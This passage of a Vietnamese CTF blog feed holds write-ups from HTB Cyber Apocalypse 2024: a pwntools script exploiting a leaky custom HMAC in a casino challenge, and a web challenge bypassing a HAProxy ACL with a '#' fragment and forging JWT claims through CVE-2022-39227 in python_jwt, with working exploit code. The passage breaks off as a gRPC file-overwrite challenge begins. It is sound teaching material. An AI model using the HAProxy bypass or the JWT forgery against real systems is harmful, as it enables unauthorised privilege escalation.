    <span class="hljs-title"><span class="hljs-keyword">while</span></span> <span class="hljs-title">casino</span>.<span class="hljs-title">player_money</span> <span class="hljs-operator">&gt;</span> 0:
        <span class="hljs-title">print</span>(<span class="hljs-title">MENU</span>)
        <span class="hljs-title">option</span> <span class="hljs-operator">=</span> <span class="hljs-title"><span class="hljs-keyword">int</span></span>(<span class="hljs-title">input</span>(<span class="hljs-string">'Option: '</span>))

        <span class="hljs-title"><span class="hljs-keyword">if</span></span> <span class="hljs-title">option</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> 1:
            <span class="hljs-title">casino</span>.<span class="hljs-title">buy_flag</span>()

        <span class="hljs-title">elif</span> <span class="hljs-title">option</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> 2:
            <span class="hljs-title">casino</span>.<span class="hljs-title">buy_hint</span>()

        <span class="hljs-title">elif</span> <span class="hljs-title">option</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> 3:
            <span class="hljs-title">casino</span>.<span class="hljs-title">play</span>()

        <span class="hljs-title">elif</span> <span class="hljs-title">option</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> 4:
            <span class="hljs-title">casino</span>.<span class="hljs-title">print_balance</span>()

        <span class="hljs-title">elif</span> <span class="hljs-title">option</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> 5:
            <span class="hljs-title">print</span>(<span class="hljs-string">"Bye."</span>)
            <span class="hljs-title"><span class="hljs-keyword">break</span></span>

    <span class="hljs-title">print</span>(<span class="hljs-string">"The house always wins, sorry ):"</span>)

<span class="hljs-title"><span class="hljs-keyword">if</span></span> <span class="hljs-title">__name__</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-string">'__main__'</span>:
    <span class="hljs-title">main</span>()
</code></pre>
<h3 id="heading-solution-1">Solution</h3>
<ul>
<li><p>Trước hết mình vẫn luôn phải hiểu chall đã. Trong chall này mình được tham gia vào một casino với 100 coins cho trước, và bằng cách nào đó phải kiếm được 500 coins để mua <code>flag</code>. Điều kiện khá đơn giản, tuy nhiên mấu chốt nằm ở cách kiếm tiền mình sẽ phân tích dưới đây.</p>
</li>
<li><p>Chall cung cấp cho chúng ta 3 chức năng chính (tổng có 5 cái):</p>
<ul>
<li><p>Buy flag (-500)</p>
</li>
<li><p>Buy hint (-10)</p>
</li>
<li><p>Play (+5 / -10)</p>
</li>
</ul>
</li>
</ul>
<h4 id="heading-buy-hint">Buy hint</h4>
<ul>
<li>Chức năng này thó của mình 10 coins và cho phép chúng ta nhập <code>input</code> vào rồi sẽ nhả ngược lại cho mình hoặc là <code>custom_hmac</code> hoặc là <code>impostor_hmac</code>. <code>impostor_hmac</code> thì không có gì đáng nói, chỉ là 64 bytes ngẫu nhiên vô giá trị. <code>custom_hmac(input)</code> là 64 bytes có quy luật.</li>
</ul>
<h4 id="heading-play">Play</h4>
<ul>
<li>Chức năng này random ra <code>my_hash_input</code> 32 bytes cho mình. Sau đó cũng nhả ra một dãy 64 bytes và bắt chúng ta phải đoán xem đó là <code>custom_hmac(my_hash_input)</code> hay <code>impostor_hmac</code> , nếu đúng thì ting ting 5 coins, ngược lại nếu sai thì pay 10 coins.</li>
</ul>
<h4 id="heading-phuong-huong">Phương hướng</h4>
<ul>
<li>Để biết được đó là <code>custom_hmac</code> hay <code>impostor_hmac</code> thì cần dựa vào <code>input</code> của chúng ta. Bởi <code>impostor_hmac</code> chỉ là dãy 64 bytes ngẫu nhiên, còn <code>custom_hmac</code> có quy luật như sau:</li>
</ul>
<pre><code class="lang-solidity">custom_hmac(input) <span class="hljs-operator">=</span> <span class="hljs-built_in">sha256</span>(<span class="hljs-built_in">sha256</span>(key <span class="hljs-operator">+</span> leak) <span class="hljs-operator">+</span> input) <span class="hljs-operator">+</span> <span class="hljs-built_in">sha256</span>(key <span class="hljs-operator">+</span> input)
<span class="hljs-operator">-</span><span class="hljs-operator">&gt;</span> custom_hmac(my_hash_input) <span class="hljs-operator">=</span> <span class="hljs-built_in">sha256</span>(<span class="hljs-built_in">sha256</span>(key <span class="hljs-operator">+</span> leak) <span class="hljs-operator">+</span> my_hash_input) <span class="hljs-operator">+</span> <span class="hljs-built_in">sha256</span>(key <span class="hljs-operator">+</span> my_hash_input)
</code></pre>
<ul>
<li><p>Lưu ý trong cả hai chức năng thì <code>key</code> được cố định và đây cũng chính là cách để mình kiếm tiền.</p>
<ul>
<li><p>Đầu tiên mình sẽ <code>Buy hint</code> từ server với <code>input = leak = b"Improving on the security of SHA is easy"</code>, việc chúng ta nhận được <code>custom_hmac</code> khá hên xui.</p>
</li>
<li><p>Khi có được <code>custom_hmac(leak)</code>, mình sẽ cắt lấy 32 bytes cuối để nhận được <code>sha256(key + leak)</code>. Sau đó mình sẽ đem phần này chạy qua <code>sha256</code> để khôi phục lại <code>sha256(sha256(key + leak) + my_hash_input)</code> do <code>my_hash_input</code> đã biết, chính xác đây chính là phần đầu 32 bytes của <code>custom_hmac(my_hash_input)</code> giúp mình phân biệt với <code>impostor_hmac</code>.</p>
</li>
</ul>
</li>
<li><p>Code:</p>
</li>
</ul>
<pre><code class="lang-solidity"><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> <span class="hljs-operator">*</span>
<span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-title">hashlib</span> <span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title"><span class="hljs-built_in">sha256</span></span>
<span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-title">tqdm</span> <span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">tqdm</span>

<span class="hljs-title">HOST</span> <span class="hljs-operator">=</span> <span class="hljs-string">'94.237.49.212'</span>
<span class="hljs-title">PORT</span> <span class="hljs-operator">=</span> 30279
<span class="hljs-title">leak</span> <span class="hljs-operator">=</span> <span class="hljs-title">b</span><span class="hljs-string">"Improving on the security of SHA is easy"</span>

<span class="hljs-title">def</span> <span class="hljs-title">keyed_hash</span>(<span class="hljs-title">key</span>, <span class="hljs-title">inp</span>):
    <span class="hljs-title"><span class="hljs-keyword">return</span></span> <span class="hljs-title"><span class="hljs-built_in">sha256</span></span>(<span class="hljs-title">key</span> <span class="hljs-operator">+</span> <span class="hljs-title">inp</span>).<span class="hljs-title">digest</span>()

<span class="hljs-title">r</span> <span class="hljs-operator">=</span> <span class="hljs-title">remote</span>(<span class="hljs-title">HOST</span>, <span class="hljs-title">PORT</span>)
<span class="hljs-title">lst</span> <span class="hljs-operator">=</span> []
<span class="hljs-title"><span class="hljs-keyword">for</span></span> <span class="hljs-title"><span class="hljs-keyword">_</span></span> <span class="hljs-title">in</span> <span class="hljs-title">tqdm</span>(<span class="hljs-title">range</span>(10)):
    <span class="hljs-title">r</span>.<span class="hljs-title">sendlineafter</span>(<span class="hljs-title">b</span><span class="hljs-string">'Option: '</span>, <span class="hljs-title">b</span><span class="hljs-string">'2'</span>)
    <span class="hljs-title">r</span>.<span class="hljs-title">sendlineafter</span>(<span class="hljs-title">b</span><span class="hljs-string">' :: '</span>, <span class="hljs-title"><span class="hljs-keyword">bytes</span></span>.<span class="hljs-title">hex</span>(<span class="hljs-title">leak</span>).<span class="hljs-title">encode</span>())
    <span class="hljs-title">r</span>.<span class="hljs-title">recvuntil</span>(<span class="hljs-title">b</span><span class="hljs-string">' :: '</span>)
    <span class="hljs-title">get</span> <span class="hljs-operator">=</span> <span class="hljs-title">r</span>.<span class="hljs-title">recvuntil</span>(<span class="hljs-title">b</span><span class="hljs-string">'\n'</span>, <span class="hljs-title">drop</span><span class="hljs-operator">=</span><span class="hljs-title">True</span>).<span class="hljs-title">decode</span>()
    <span class="hljs-title"><span class="hljs-keyword">if</span></span> <span class="hljs-title">get</span> <span class="hljs-title">in</span> <span class="hljs-title">lst</span>:
        <span class="hljs-title">exploit</span> <span class="hljs-operator">=</span> <span class="hljs-title"><span class="hljs-keyword">bytes</span></span>.<span class="hljs-title">fromhex</span>(<span class="hljs-title">get</span>)[32:]
        <span class="hljs-title"><span class="hljs-keyword">break</span></span>
    <span class="hljs-title"><span class="hljs-keyword">else</span></span>:
        <span class="hljs-title">lst</span>.<span class="hljs-title">append</span>(<span class="hljs-title">get</span>)

<span class="hljs-title"><span class="hljs-keyword">for</span></span> <span class="hljs-title"><span class="hljs-keyword">_</span></span> <span class="hljs-title">in</span> <span class="hljs-title">tqdm</span>(<span class="hljs-title">range</span>(100)):
    <span class="hljs-title">r</span>.<span class="hljs-title">sendlineafter</span>(<span class="hljs-title">b</span><span class="hljs-string">'Option: '</span>, <span class="hljs-title">b</span><span class="hljs-string">'3'</span>)
    <span class="hljs-title">r</span>.<span class="hljs-title">recvuntil</span>(<span class="hljs-title">b</span><span class="hljs-string">'I used input '</span>)
    <span class="hljs-title">my_hash_input</span> <span class="hljs-operator">=</span> <span class="hljs-title">r</span>.<span class="hljs-title">recvuntil</span>(<span class="hljs-title">b</span><span class="hljs-string">'\n'</span>, <span class="hljs-title">drop</span><span class="hljs-operator">=</span><span class="hljs-title">True</span>).<span class="hljs-title">decode</span>()
    <span class="hljs-title">my_hash_input</span> <span class="hljs-operator">=</span> <span class="hljs-title"><span class="hljs-keyword">bytes</span></span>.<span class="hljs-title">fromhex</span>(<span class="hljs-title">my_hash_input</span>)

    <span class="hljs-title">r</span>.<span class="hljs-title">recvuntil</span>(<span class="hljs-title">b</span><span class="hljs-string">'I got output '</span>)
    <span class="hljs-title">my_hash_output</span> <span class="hljs-operator">=</span> <span class="hljs-title">r</span>.<span class="hljs-title">recvuntil</span>(<span class="hljs-title">b</span><span class="hljs-string">'\n'</span>, <span class="hljs-title">drop</span><span class="hljs-operator">=</span><span class="hljs-title">True</span>).<span class="hljs-title">decode</span>()
    <span class="hljs-title">my_hash_output</span> <span class="hljs-operator">=</span> <span class="hljs-title"><span class="hljs-keyword">bytes</span></span>.<span class="hljs-title">fromhex</span>(<span class="hljs-title">my_hash_output</span>)

    <span class="hljs-title">check</span> <span class="hljs-operator">=</span> <span class="hljs-title">keyed_hash</span>(<span class="hljs-title">exploit</span>, <span class="hljs-title">my_hash_input</span>)
    <span class="hljs-title">answer</span> <span class="hljs-operator">=</span> <span class="hljs-title">b</span><span class="hljs-string">'0'</span> <span class="hljs-title"><span class="hljs-keyword">if</span></span> <span class="hljs-title">check</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-title">my_hash_output</span>[:32] <span class="hljs-title"><span class="hljs-keyword">else</span></span> <span class="hljs-title">b</span><span class="hljs-string">'1'</span>
    <span class="hljs-title">r</span>.<span class="hljs-title">sendlineafter</span>(<span class="hljs-title">b</span><span class="hljs-string">' :: '</span>, <span class="hljs-title">answer</span>)

<span class="hljs-title">r</span>.<span class="hljs-title">sendlineafter</span>(<span class="hljs-title">b</span><span class="hljs-string">'Option: '</span>, <span class="hljs-title">b</span><span class="hljs-string">'1'</span>)
<span class="hljs-title">r</span>.<span class="hljs-title">recvuntil</span>(<span class="hljs-title">b</span><span class="hljs-string">' :: '</span>)
<span class="hljs-title">flag</span> <span class="hljs-operator">=</span> <span class="hljs-title">r</span>.<span class="hljs-title">recvuntil</span>(<span class="hljs-title">b</span><span class="hljs-string">'\n'</span>, <span class="hljs-title">drop</span><span class="hljs-operator">=</span><span class="hljs-title">True</span>)
<span class="hljs-title">print</span>(<span class="hljs-title">flag</span>)
</code></pre>
<h3 id="heading-flag-4">Flag</h3>
<p><code>HTB{#rule_of_thumb___do_not_roll_your_own_hash_based_message_authentication_codes___#_ab272f24245e73ec6c19b44331f587fb}</code></p>
]]></content:encoded></item><item><title><![CDATA[HTB Cyber Apocalypse CTF 2024: Hacker Royale Write Up]]></title><description><![CDATA[Web
Local Talk
credit: NgocTran
Preface
Đây là challenge từ giải Cyber Apocalypse 2024: Hacker Royale - After Party. Một challenge rất thú vị khi nó tồn tại hai lỗ hổng đáng chú ý CVE-2023-45539 và CVE-2022-39227. Bằng cách bypass HAproxy ACL dẫn đến...]]></description><link>https://blog.kcsc.edu.vn/htb-cyber-apocalypse-ctf-2024-hacker-royale-write-up</link><guid isPermaLink="true">https://blog.kcsc.edu.vn/htb-cyber-apocalypse-ctf-2024-hacker-royale-write-up</guid><category><![CDATA[Write Up]]></category><category><![CDATA[CTF]]></category><category><![CDATA[CTF Writeup]]></category><dc:creator><![CDATA[Anh Quỳnh]]></dc:creator><pubDate>Sat, 23 Mar 2024 08:14:37 GMT</pubDate><content:encoded><![CDATA[<hr />
<h1 id="heading-web">Web</h1>
<h2 id="heading-local-talk">Local Talk</h2>
<p><strong><em>credit: NgocTran</em></strong></p>
<h3 id="heading-preface">Preface</h3>
<p>Đây là challenge từ giải <code>Cyber Apocalypse 2024: Hacker Royale - After Party</code>. Một challenge rất thú vị khi nó tồn tại hai lỗ hổng đáng chú ý <a target="_blank" href="https://nvd.nist.gov/vuln/detail/CVE-2023-45539">CVE-2023-45539</a> và <a target="_blank" href="https://nvd.nist.gov/vuln/detail/CVE-2022-39227">CVE-2022-39227</a>. Bằng cách bypass <code>HAproxy ACL</code> dẫn đến việc truy cập vào được endpoint chứa đoạn <code>jwt</code> sử dụng <code>python_jwt</code> module version 3.3.3, ta có thể sử dụng hai lỗ hổng trên để thay đổi role của user từ đó giúp ta lấy được flag.</p>
<h3 id="heading-recon">Recon</h3>
<p>Challenge cung cấp cho chúng ta 3 api bảo gồm <code>/api/v1/get_ticket</code>, <code>/api/v1/chat/{chatId}</code> và <code>/api/v1/flag</code></p>
<p><img src="https://hackmd.io/_uploads/H1s1leGAa.png" alt="image" class="image--center mx-auto" /></p>
<ol>
<li><p><code>/api/v1/get_ticket</code></p>
<pre><code class="lang-nginx"> @api_blueprint.route('/get_ticket', methods=['GET'])
 <span class="hljs-attribute">def</span> get_ticket():

     claims = {
         "role": "guest", 
         "user": "guest_user"
     }

     <span class="hljs-attribute">token</span> = jwt.generate_jwt(claims, current_app.config.get(<span class="hljs-string">'JWT_SECRET_KEY'</span>), <span class="hljs-string">'PS256'</span>, datetime.timedelta(minutes=<span class="hljs-number">60</span>))
     return jsonify({'ticket: ': token})
</code></pre>
<p> Có vẻ tại endpoint này ta có thể tạo một đoạn token sử dụng PS256 - là một thuật toán chữ ký điện tử dựa trên chuỗi (Elliptic Curve Digital Signature Algorithm - ECDSA) được sử dụng trong JSON Web Signature (JWS). Tại đây ta có thể chú ý <code>role</code> của <code>user</code> được xét mặc định là <code>guest</code>.</p>
</li>
<li><p><code>/api/v1/get_ticket</code></p>
</li>
</ol>
<pre><code class="lang-nginx">@api_blueprint.route('/flag', methods=['GET'])
@authorize_roles(['administrator'])
<span class="hljs-attribute">def</span> flag():
    return jsonify({'message': current_app.config.get('FLAG')}), 200
</code></pre>
<p>Để lấy được flag có vẻ ta phải set lại sao cho <code>role</code> được đặt là <code>administrator</code></p>
<p>Như vậy mục tiêu bây giờ ta cần thay đổi <code>role</code> của <code>user</code> trong token là <code>administrator</code>. Tuy nhiên vấn đề xảy ra ở đây là khi ta truy cập vào endpoint <code>/api/v1/get_ticket</code> nói trên nó lại trả về cho chúng ta <code>status_code 403</code></p>
<p><img src="https://hackmd.io/_uploads/By4CZxfRT.png" alt="image" class="image--center mx-auto" /></p>
<pre><code class="lang-nginx"><span class="hljs-attribute">frontend</span> haproxy
    bind <span class="hljs-number">0.0.0.0:1337</span>
    default_backend backend

    http-request deny if { path_beg,<span class="hljs-attribute">url_dec</span> -i /api/v1/get_ticket }
</code></pre>
<p>Tiếp tục đi sâu vào challenge thì mình tìm được một đoạn HAproxy đã được config như trên</p>
<p><strong>Access Control List (ACL) trong HAProxy: ACL là một cách để xác định các điều kiện để áp dụng các hành động cụ thể trên các yêu cầu hoặc kết nối. Chúng cho phép bạn thực hiện các quy tắc phân tách dựa trên các tiêu chí như địa chỉ IP, đường dẫn URL, header HTTP, và nhiều điều kiện khác để quyết định cách xử lý yêu cầu</strong></p>
<p>Ở đoạn config nêu trên ta có thể dễ dang thấy HAProxy cấu hình lắng nghe cổng 1337, chuyển hướng yêu cầu không khớp đến backend <code>backend</code>. ACL kiểm tra đường dẫn yêu cầu, từ chối yêu cầu bắt đầu bằng <code>/api/v1/get_ticket</code>.</p>
<p>Wait, I can bypass this?</p>
<p><img src="https://hackmd.io/_uploads/Hy48UxM0T.gif" alt="BXUj" class="image--center mx-auto" /></p>
<p><strong>Get access ticket by bypassing HAProxy ACL with # fragment</strong></p>
<p><a target="_blank" href="https://github.com/advisories/GHSA-79q7-m98p-qvhp">CVE-2023-45539</a></p>
<p>Sau khi thực hiện googling mình phát hiện ta có thể sử dụng dấu <code>#</code> để có thể bypass qua việc config <code>http-request deny</code>. Cụ thể: HAProxy trước phiên bản 2.8.2 chấp nhận ký tự "<code>#</code>" trong phần URI, điều này có thể cho phép các kẻ tấn công từ xa thu thập thông tin nhạy cảm hoặc có tác động không xác định khác khi phân tích sai quy tắc <code>path_end</code>, ví dụ như định tuyến <code>index.html#.png</code> đến một máy chủ tĩnh</p>
<p><img src="https://hackmd.io/_uploads/SkH89xzCT.png" alt="image" /></p>
<p><strong>Forging a new JWT Token with tampered claims in order to bypass role restrictions</strong></p>
<p>Sau khi có thể tạo ra được token, công việc của chúng ta đến chỉ cần thay đoạn token sao cho role của user thành <code>administrator</code></p>
<p>Sau khi biết được nó sử dụng <code>pyjwt 3.3.3</code> mình ngay lập tức google vài đường thì được biết tại phiên bản này nó tồn tại một lỗ hổng <code>CVE-2022-39227</code>. Hãy đề cập một chút về lỗ hổng này:</p>
<pre><code class="lang-nginx"><span class="hljs-comment">#test/vulnerability_vows.py  </span>
""" <span class="hljs-attribute">Test</span> claim forgery vulnerability fix <span class="hljs-string">""</span><span class="hljs-string">"  
from datetime import timedelta  
from json import loads, dumps  
from test.common import generated_keys  
from test import python_jwt as jwt  
from pyvows import Vows, expect  
from jwcrypto.common import base64url_decode, base64url_encode  

<span class="hljs-variable">@Vows</span>.batch  
class ForgedClaims(Vows.Context):  
   "</span><span class="hljs-string">""</span> Check we get an <span class="hljs-literal">error</span> when payload is forged using mix of compact and JSON formats <span class="hljs-string">""</span><span class="hljs-string">"  
   def topic(self):  
       "</span><span class="hljs-string">""</span> Generate token <span class="hljs-string">""</span><span class="hljs-string">"  
       payload = {'sub': 'alice'}  
       return jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60))  

   class PolyglotToken(Vows.Context):  
       "</span><span class="hljs-string">""</span> Make a forged token <span class="hljs-string">""</span><span class="hljs-string">"  
       def topic(self, topic):  
           "</span><span class="hljs-string">""</span> Use mix of JSON and compact format to insert forged claims including long expiration <span class="hljs-string">""</span><span class="hljs-string">"  
          [header, payload, signature] = topic.split('.')  
           parsed_payload = loads(base64url_decode(payload)) 
           parsed_payload['sub'] = 'bob'  
           parsed_payload['exp'] = 2000000000  
           fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))  
           return '{"</span> <span class="hljs-string">' + header + '</span>.<span class="hljs-string">' + fake_payload + '</span>.<span class="hljs-string">":"</span><span class="hljs-string">","</span>protected<span class="hljs-string">":"</span><span class="hljs-string">' + header + '</span><span class="hljs-string">", "</span>payload<span class="hljs-string">":"</span><span class="hljs-string">' + payload + '</span><span class="hljs-string">","</span>signature<span class="hljs-string">":"</span><span class="hljs-string">' +signature + '</span><span class="hljs-string">"}' 
       class Verify(Vows.Context):  
           "</span><span class="hljs-string">""</span> Check the forged token fails to verify <span class="hljs-string">""</span><span class="hljs-string">"  
           <span class="hljs-variable">@Vows</span>.capture_error  
           def topic(self, topic):  
               "</span><span class="hljs-string">""</span> Verify the forged token <span class="hljs-string">""</span><span class="hljs-string">"  
               return jwt.verify_jwt(topic, generated_keys['PS256'], ['PS256'])  
           def token_should_not_verify(self, r):  
               "</span><span class="hljs-string">""</span> Check the token doesn<span class="hljs-string">'t verify due to mixed format being detected """  
               expect(r).to_be_an_error()  
               expect(str(r)).to_equal('</span>invalid JWT format<span class="hljs-string">')</span>
</code></pre>
<p>Ta có thể thấy rằng JWT ban đầu được chia thành <code>[header, payload, signature]</code> ba phần, sau đó payload, đó là phần chứa thông tin ban đầu, được lấy ra, và sau đó thêm vào Sau khi đánh giả nội dung, mã hóa lại với base64 (<code>separators=(',', ':')</code> phần này tương đương với việc loại bỏ các khoảng trắng sẽ được thêm khi mã hóa trực tiếp) để tạo ra payload giả mạo, và cuối cùng xây dựng và tạo ra một JWT mới theo dạng sau đây (trong thực tế, không thể nói là một JWT nữa, bởi vì chuỗi được tạo ra không còn gì của JWT nữa).</p>
<p><code>{" header . fake_payload .":"","protected":" header ", "payload":" payload ","signature":" signature "}</code></p>
<p>Chúng ta hãy đi sâu vào chi tiết hơn, mình có tạo một đoạn code demo ở đây:</p>
<pre><code class="lang-nginx"><span class="hljs-comment">#testFakeJWT.py  </span>
<span class="hljs-attribute">from</span> json import *  
from python_jwt import *  
from jwcrypto import jwk  
payload={'username':"jlan","secret":"10010"}  
key=jwk.JWK.generate(kty='RSA', size=2048)  
jwtjson=generate_jwt(payload, key, 'PS256', timedelta(minutes=60))  
[header, payload, signature] = jwtjson.split('.')  
<span class="hljs-attribute">parsed_payload</span> = loads(base64url_decode(payload))  
print(parsed_payload)  
parsed_payload[<span class="hljs-string">'username'</span>]=<span class="hljs-string">"admin"</span>  
parsed_payload[<span class="hljs-string">'secret'</span>]=<span class="hljs-string">"10086"</span>  
fakepayload=base64url_encode((dumps(parsed_payload, separators=(<span class="hljs-string">','</span>, <span class="hljs-string">':'</span>))))  
fakejwt=<span class="hljs-string">'{"'</span> + header + <span class="hljs-string">'.'</span> + fakepayload + <span class="hljs-string">'.":"","protected":"'</span> + header + <span class="hljs-string">'", "payload":"'</span> + payload + <span class="hljs-string">'","signature":"'</span> + signature + <span class="hljs-string">'"}'</span>  
print(verify_jwt(fakejwt, key, [<span class="hljs-string">'PS256'</span>]))  

<span class="hljs-comment">#{'exp': 1667333054, 'iat': 1667329454, 'jti': 'U0kwnEYCOgUZ_PhXn7PFTQ', 'nbf': 1667329454, 'secret': '10010', 'username': 'jlan'}  </span>
<span class="hljs-comment">#({'alg': 'PS256', 'typ': 'JWT'}, {'exp': 1667333054, 'iat': 1667329454, 'jti': 'U0kwnEYCOgUZ_PhXn7PFTQ', 'nbf': 1667329454, 'secret': '10086', 'username': 'root'})</span>
</code></pre>
<p><strong>Phân tích</strong></p>
<p><img src="https://hackmd.io/_uploads/r1v94-GRa.png" alt="image" /></p>
<p>Có thể thấy rằng JWT được chia thành các phần header, claims, signature dựa trên dấu chấm (.) và được lưu vào các biến tương ứng, sau đó phần header được giải mã base64. Việc giải mã ở đây sẽ bỏ qua các ký tự không phải base64, và các thuộc tính sẽ được kiểm tra một cách tuần tự (khi tham số <code>ignore_not_implemented</code> không được cung cấp hoặc False).</p>
<p>Nhìn xuống phần <code>if pub_key:</code>, nếu chúng ta truyền vào khóa, chữ ký JWT sẽ được phân tích. Hãy tiếp tục theo dõi <code>token.deserialize(jwt, pub_key)</code> để xem quá trình xác minh.</p>
<p><img src="https://hackmd.io/_uploads/BkJTUbz0T.png" alt="image" /></p>
<p>Có thể thấy rằng JWT ban đầu được nhận vào đầu tiên được thử để được phân tích dưới dạng json, sau đó chữ ký được xác minh. Hàm <code>_deserialize_signature</code> sẽ phân tích và lấy ra chữ ký. Hàm <code>_deserialize_b64</code> liệu rằng nội dung xác minh cần được giải mã base64 không?</p>
<p>Tóm lại, nội dung ở phần trước của hàm này là giải mã dữ liệu trong định dạng json và gán các thuộc tính tương ứng được yêu cầu bởi JWT cho đối tượng <code>o</code>. Trong json mà chúng ta xây dựng, tất cả các thuộc tính của o đều từ JWT bình thường ban đầu. Sau khi hoàn thành việc phân tích, <code>self.objects</code> sẽ được gán một giá trị của <code>o</code>, và cuối cùng là vào hàm <code>verify</code>.</p>
<p><img src="https://hackmd.io/_uploads/HkTJ7_GA6.png" alt="image" /></p>
<p>Bạn có thể thấy ở đây nó thực sự kiểm tra từng phần của JWT. Điều mà nó kiểm tra ở đây là JWT ban đầu hoàn chỉnh, vì vậy chắc chắn không có vấn đề gì với điều này, và việc xác minh này chắc chắn có thể thông qua</p>
<p>Chúng ta hãy quay trở lại với <code>___init__.py</code></p>
<p><img src="https://hackmd.io/_uploads/HJ3gVdz0a.png" alt="image" /></p>
<p>Ta có thể thấy rằng sau khi xác minh, không có sử dụng lại <code>token</code>. Sau đó, một số tham số trong <code>header</code> và <code>claims</code> được kiểm tra, và <code>parsed_header</code> và <code>parsed_claims</code> được trả về. Như vậy, sau khi xác minh toàn bộ JWT, dữ liệu đã được xác minh không được trả về, mà thay vào đó là dữ liệu sau các dấu chấm ban đầu được trả về.</p>
<p>Lúc này đoạn exploit của chúng ta có dạng</p>
<p><code>{" header . fake_payload .":"","protected":" header ", "payload":" payload ","signature":" signature "}</code></p>
<p>Như đã thấy ở trên, json mà chúng ta truyền vào đầu tiên được chia thành các phần dấu chấm trong định dạng chuỗi. Phần thứ hai là phần payload giả mạo của chúng ta. Chúng ta chỉ cần lấy ra payload ban đầu và sửa đổi nó.</p>
<h3 id="heading-exploit">Exploit</h3>
<pre><code class="lang-nginx"><span class="hljs-attribute">from</span> datetime import timedelta
from json import loads, dumps
import python_jwt as jwt
from pyvows import Vows, expect
from jwcrypto.common import base64url_decode, base64url_encode
from pprint import pprint
class ForgedClaims:
    def create(self):
        <span class="hljs-string">""</span><span class="hljs-string">" Generate token "</span><span class="hljs-string">""</span>
        <span class="hljs-comment"># payload = {'sub': 'alice'}</span>
        token = <span class="hljs-string">"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAxNDc1MTksImlhdCI6MTcxMDE0MzkxOSwianRpIjoiYmQtcW5GYnBqcUhpbEFSeXN5aGwyUSIsIm5iZiI6MTcxMDE0MzkxOSwicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ.s569WtLjeq3NQSI9GXVDfTYJSUrxdEGtCBnxjHnwEa6UWwS6RNfLF-qMjvAc-GiqHzG1Wx1SQd1tsqIqnIF6zz9zXFQaSimFgnYE0HvUwaI_XhzBJA-ZxmrgetgJjbOhKBOopKIXmtUt-LPE2tsB3yr6SJe-C2RvFlTzrgQMDrOtRBJJiXfYne1QI4nnXUFY0XsNXCpKQIe6ELHNmeE-F6Fj5s1AJwUEBwWJNVnmw_s5mVbL1hvIE54e2mJg5VK8PfCLXx4u-ghVRgGDRkUza4UpgM8nrSmTj5d40iREyz9M6PDvi0TFhuVvlQStrpz0UId-uyL4-Vwp9UnTOSNBRA"</span>
        return token
    def topic(self, topic):
        <span class="hljs-string">""</span><span class="hljs-string">" Use mix of JSON and compact format to insert forged claims including long expiration "</span><span class="hljs-string">""</span>
        [header, payload, signature] = topic.split(<span class="hljs-string">'.'</span>)
        parsed_payload = loads(base64url_decode(payload))
        print(parsed_payload)
        parsed_payload[<span class="hljs-string">'role'</span>] = <span class="hljs-string">'administrator'</span>
        parsed_payload[<span class="hljs-string">'user'</span>] = <span class="hljs-string">'admin_user'</span>
        print(parsed_payload)
        <span class="hljs-comment"># parsed_payload['exp'] = 2000000000</span>
        fake_payload = base64url_encode((dumps(parsed_payload, separators=(<span class="hljs-string">','</span>, <span class="hljs-string">':'</span>))))
        return <span class="hljs-string">'{"  '</span> + header + <span class="hljs-string">'.'</span> + fake_payload + <span class="hljs-string">'.":"","protected":"'</span> + header + <span class="hljs-string">'", "payload":"'</span> + payload + <span class="hljs-string">'","signature":"'</span> + signature + <span class="hljs-string">'"}'</span>
claime__ = ForgedClaims()
jwt = claime__.create()
print(claime__.topic(jwt))
</code></pre>
<h3 id="heading-result">Result</h3>
<p><img src="https://hackmd.io/_uploads/BkPzY_G0a.png" alt="image" /></p>
<h3 id="heading-flag">Flag</h3>
<p><code>HTB{h4Pr0Xy_n3v3r_D1s@pp01n4s}</code></p>
<h2 id="heading-testimonial">Testimonial</h2>
<p><strong><em>credit: NgocTran</em></strong></p>
<h3 id="heading-preface-1">Preface</h3>
<p>Ta tiếp tục đến với challenge thứ hai, cũng là một challenge rất hay khi cách giải của nó lại không khó như ban đầu mình nghĩ bằng cách thay vì connect tới server chính, ta lại giải quyết bằng cách sử dụng <code>grpc</code> để tương tác và thực hiện ghi đè file nhằm trigger RCE.</p>
<h3 id="heading-recon-1">Recon</h3>
<p><img src="https://hackmd.io/_uploads/HJdsCOfCT.png" alt="image" /></p>
<p>Đi vào trang web của challenge thì ở đây có vẻ nó cho phép ta ghi nội dung và tên file sau đó được lưu trên server tại <code>public/testimonials</code></p>
<p><img src="https://hackmd.io/_uploads/Bkm8JYzRa.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/Hkqzxtz0T.png" alt="image" /></p>
<p>Tuy nhiên tên file đã bị filter, điều này có vẻ khiến chúng ta không thể trigger được path traversal nhằm ghi đè file khác lên server nhằm mục đích RCE</p>
<p>Yeah một câu hỏi là <code>How?</code> lại bắt đầu</p>
<p><img src="https://hackmd.io/_uploads/SkAN-FMRa.gif" alt="IZEl" class="image--center mx-auto" /></p>
<p><img src="https://hackmd.io/_uploads/Sk5uWYGAT.png" alt="image" /></p>
<p>Hãy chú ý đến việc đoạn code có sử dụng gRPC</p>
<blockquote>
<p>Đôi nét về gRPC</p>
